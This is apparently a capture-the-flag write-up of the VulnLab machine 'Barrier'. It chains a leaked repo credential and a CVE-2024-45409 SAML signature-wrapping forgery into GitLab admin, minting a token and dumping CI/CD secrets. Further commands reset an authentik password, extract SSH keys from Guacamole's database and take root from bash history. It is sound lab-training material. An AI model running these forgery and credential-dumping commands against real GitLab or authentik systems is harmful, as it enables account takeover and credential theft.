resux_

FILE 003 · Initial access

Barrier

A credential in a public repo becomes GitLab admin via a SAML signature-wrapping bug, CI/CD variables hand back the IdP token, and Guacamole stores its backend credentials in cleartext. Root was typed into bash history.

Platform
VulnLab
Surface
Web
State
Open
CVEs
CVE-2024-45409

Difficulty: Medium · OS: Linux

Barrier stacks three trust layers on one host and then lets each one betray the next. A public repo leaks a throwaway credential. A SAML signature-wrapping bug turns that credential into the GitLab admin. GitLab’s CI/CD variables hold the token for the identity provider that authenticates GitLab, which is backwards, and that token unlocks a Guacamole gateway that stores every backend credential in cleartext. Root is a password somebody typed one line too late.

Reconnaissance

Nmap Scan

# kali
nmap -sCV -p- --min-rate=1000 -oN nmap/full.txt 10.10.11.xxx
22/tcp   open  ssh       OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80/tcp   open  http      nginx (redirects to https://gitlab.barrier.vl)
443/tcp  open  ssl/http  nginx, GitLab Community Edition 17.3.2
8080/tcp open  http      Apache Tomcat (Guacamole)
9000/tcp open  http      authentik (HTTP)
9443/tcp open  ssl/http  authentik (HTTPS)

The TLS certificates give up gitlab.barrier.vl and barrier.vl:

# kali
echo "10.10.11.xxx barrier.vl gitlab.barrier.vl" | sudo tee -a /etc/hosts

Three layers on one box: GitLab 17.3.2 as the source platform configured for SAML SSO, authentik 2024.10.x as the IdP (its version is in the self-signed cert subject), and Apache Guacamole on Tomcat as a clientless RDP/SSH/VNC gateway.

Web Enumeration

GitLab allows self-registration. After signing up there is exactly one visible project, satoru/gitconnect, public, two commits. Its only file demonstrates an OAuth password grant and hardcodes the credential it demonstrates it with:

auth_data = {
    'grant_type': 'password',
    'username': 'satoru',
    'password': 'dGJ2V72SUEMsM3Ca'
}

satoru:dGJ2V72SUEMsM3Ca logs into GitLab but gets nothing extra, and SSH refuses it. It is not the foothold, it is the input to the next gate.

Initial Foothold: CVE-2024-45409 (SAML signature wrapping)

CVE-2024-45409 is an XML signature wrapping flaw in ruby-saml and the python-xmlsec build shipped with affected authentik versions. The verifier accepts a signed response if any element in the document validates against the signature, even when the asserted identity lives in a different, unsigned, attacker-controlled element. So anyone who can authenticate as one user can restage the response to assert any other user, and the service provider takes it. Advisory: GHSA-jw9c-mfg7-9rx2.

The whole chain is reproducible by hand in Burp Repeater:

  1. GET https://gitlab.barrier.vl/users/auth/saml issues the AuthnRequest and bounces to authentik.
  2. Walk authentik’s flow executor at /api/v3/flows/executor/default-authentication-flow/ with satoru:dGJ2V72SUEMsM3Ca. On a fresh machine the first SSO throws a one-time consent screen, so click through it once in a browser before scripting anything or the flow just returns ak-stage-flow-error.
  3. Capture the signed <samlp:Response> that auto-POSTs to /users/auth/saml/callback and base64-decode it.
  4. Clone the signed <saml:Assertion>, set the <saml:NameID> in the clone to akadmin, and nest them so the signature still references the original, now shadowed, assertion:
<samlp:Response>
  <saml:Assertion>                       <!-- attacker-controlled wrapper -->
    <saml:Subject><saml:NameID>akadmin</saml:NameID></saml:Subject>
    <saml:Assertion>                     <!-- original, signed -->
      <ds:Signature>...</ds:Signature>
      <saml:Subject><saml:NameID>satoru</saml:NameID></saml:Subject>
    </saml:Assertion>
  </saml:Assertion>
</samlp:Response>
  1. Re-encode and POST to https://gitlab.barrier.vl/users/auth/saml/callback with the original RelayState. GitLab checks the signature against the inner assertion, reads NameID off the outer one, and issues a _gitlab_session for akadmin.
# kali
SESS="<_gitlab_session value>"
curl -sk -b "_gitlab_session=$SESS" https://gitlab.barrier.vl/api/v4/user | jq
# => { "id": 1, "username": "akadmin", "is_admin": true, "email": "admin@barrier.vl" }

A session cookie expires and a Personal Access Token does not, so the next move is minting one. There is a quirk here worth remembering: the documented admin endpoint POST /api/v4/users/:id/personal_access_tokens returns 401 for session auth, because it only accepts PAT auth. The web form route does accept the session, so scrape its CSRF token and post the form back.

# kali
CSRF=$(curl -sk -b "_gitlab_session=$SESS" \
    https://gitlab.barrier.vl/-/user_settings/personal_access_tokens \
    | grep -oP 'name="csrf-token"\s+content="\K[^"]+')

curl -sk -b "_gitlab_session=$SESS" \
    -H "X-CSRF-Token: $CSRF" -H "Accept: application/json" \
    --data-urlencode "personal_access_token[name]=pwn" \
    --data-urlencode "personal_access_token[scopes][]=api" \
    --data-urlencode "personal_access_token[scopes][]=sudo" \
    --data-urlencode "personal_access_token[scopes][]=read_repository" \
    --data-urlencode "personal_access_token[expires_at]=2026-12-31" \
    -X POST https://gitlab.barrier.vl/-/user_settings/personal_access_tokens \
    | jq -r .new_token

That returns a glpat- token good against every endpoint session auth could not reach, including the instance-level CI/CD variables. Protected variables are hidden from non-admins in the UI, but the admin API prints them:

# kali
curl -skH "PRIVATE-TOKEN: $PAT" https://gitlab.barrier.vl/api/v4/admin/ci/variables | jq
# => { "key": "AUTHENTIK_TOKEN",
# =>   "value": "MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc",
# =>   "protected": true }

A downstream system holding the upstream IdP’s admin token.

Lateral Movement: akadmin -> maki

# kali
T="MqL8GPTr7y4EDMWsp7gxb2YiKEzuNpLZ2QVia8HD4MLc93vgublgL5xQEvTc"

curl -sk -H "Authorization: Bearer $T" \
    "https://barrier.vl:9443/api/v3/core/users/?page_size=100" \
    | jq '.results[] | {pk, username, is_superuser}'
# => { "pk": 4,  "username": "akadmin", "is_superuser": true }
# => { "pk": 34, "username": "satoru",  "is_superuser": false }
# => { "pk": 35, "username": "maki",    "is_superuser": false }

maki has not appeared anywhere so far. Listing the SAML applications explains why she exists: GitLab, already taken, and Guacamole. Guacamole keeps the credentials it uses to reach backend SSH, RDP and VNC inside its own database, so it is a credential dispenser the moment SSO works.

authentik’s admin API has a set_password endpoint that does not ask for the current password, which is the entire point of an admin token:

# kali
curl -sk -H "Authorization: Bearer $T" -H 'Content-Type: application/json' \
    -X POST https://barrier.vl:9443/api/v3/core/users/35/set_password/ \
    -d '{"password":"Pwn3d!Pwn3d!Pwn3d!"}'

Sign in at https://barrier.vl:9443/ as maki, click the Guacamole tile, accept the one-time consent, and Guacamole opens with one connection. The same thing works headlessly: POST /guacamole/api/tokens with the username and password returns an authToken and dataSource, and GET /guacamole/api/session/data/$DS/connections/{id}/parameters?token=... dumps the lot.

Edit the connection, open the Parameters tab, and maki’s SSH private-key and username are sitting there in cleartext. The box’s host key is RSA-SHA1, which OpenSSH 8.8 and later refuse by default, so the algorithms have to be re-enabled explicitly:

# kali
chmod 600 id_rsa_maki
ssh -i id_rsa_maki \
    -o HostKeyAlgorithms=+ssh-rsa \
    -o PubkeyAcceptedAlgorithms=+ssh-rsa \
    maki@barrier.vl

# target
cat ~/.local/share/user.txt

Lateral Movement: maki -> maki_adm

/etc/passwd has an OS account authentik never knew about:

root:x:0:0:root:/root:/bin/bash
local:x:1000:1000::/home/local:/bin/bash
maki:x:1001:1001:,,,:/home/maki:/bin/bash
maki_adm:x:1002:1002:,,,:/home/maki_adm:/bin/bash

<user>_adm is the standard ops convention for a privileged twin. sudo -l as maki gives nothing, so the way across is Guacamole’s data store rather than the host.

# target
cat /etc/guacamole/guacamole.properties
# => mysql-database: guac_db
# => mysql-username: guac_user
# => mysql-password: guac2024

Guacamole splits connections across guacamole_connection for metadata and guacamole_connection_parameter for one row per parameter, credentials included. Joining them enumerates everything stored, not just what my session was allowed to see:

# target
mysql -h 127.0.0.1 -u guac_user -pguac2024 guac_db -e "
  SELECT c.connection_id, c.connection_name, c.protocol,
         p.parameter_name, p.parameter_value
  FROM guacamole_connection c
  LEFT JOIN guacamole_connection_parameter p USING(connection_id)
  ORDER BY c.connection_id, p.parameter_name;"
| 2 | Maki_Adm | ssh | hostname    | localhost                       |
| 2 | Maki_Adm | ssh | passphrase  | 3V32FN6oViMPxyzC                |
| 2 | Maki_Adm | ssh | port        | 22                              |
| 2 | Maki_Adm | ssh | private-key | -----BEGIN RSA PRIVATE KEY----- |
| 2 | Maki_Adm | ssh | username    | maki_adm                        |

The key is Proc-Type: 4,ENCRYPTED with DEK-Info: AES-128-CBC, and its passphrase is a cleartext parameter on the same connection. Encryption at rest means nothing when the passphrase is stored next to the blob.

# kali
ssh -i id_rsa_maki_adm \
    -o HostKeyAlgorithms=+ssh-rsa \
    -o PubkeyAcceptedAlgorithms=+ssh-rsa \
    maki_adm@barrier.vl
# passphrase: 3V32FN6oViMPxyzC

Privilege Escalation: maki_adm -> root

maki_adm is only in the admin group, with no docker despite a docker socket being present, and sudo -l wants a password the SSH passphrase does not satisfy.

# target
cat ~/.bash_history
# => sudo su
# => Va4kSjgTHSd55ZLv

Somebody typed sudo su, then typed the password at the parent shell prompt instead of into the sudo prompt. Bash records prompt input whether or not it is a valid command, so the password is in history verbatim.

# target
sudo su
# [sudo] password for maki_adm: Va4kSjgTHSd55ZLv
id
# => uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt

Flags

FlagHash
User<redacted>
Root<redacted>

Attack Path Summary

GitLab / authentik / Guacamole / SSH all on barrier.vl
  → public repo gitconnect.py → satoru:dGJ2V72SUEMsM3Ca
    → CVE-2024-45409 SAML XSW → forged akadmin _gitlab_session
      → web-form CSRF route → admin GitLab PAT (api+sudo)
        → /api/v4/admin/ci/variables → AUTHENTIK_TOKEN
          → authentik set_password → reset maki → SSO into Guacamole
            → stored connection parameters → maki SSH key → user.txt
              → guacamole.properties → MariaDB creds
                → guacamole_connection_parameter → maki_adm encrypted key
                  → passphrase stored beside it in cleartext → SSH as maki_adm
                    → ~/.bash_history holds the sudo password → sudo su → root.txt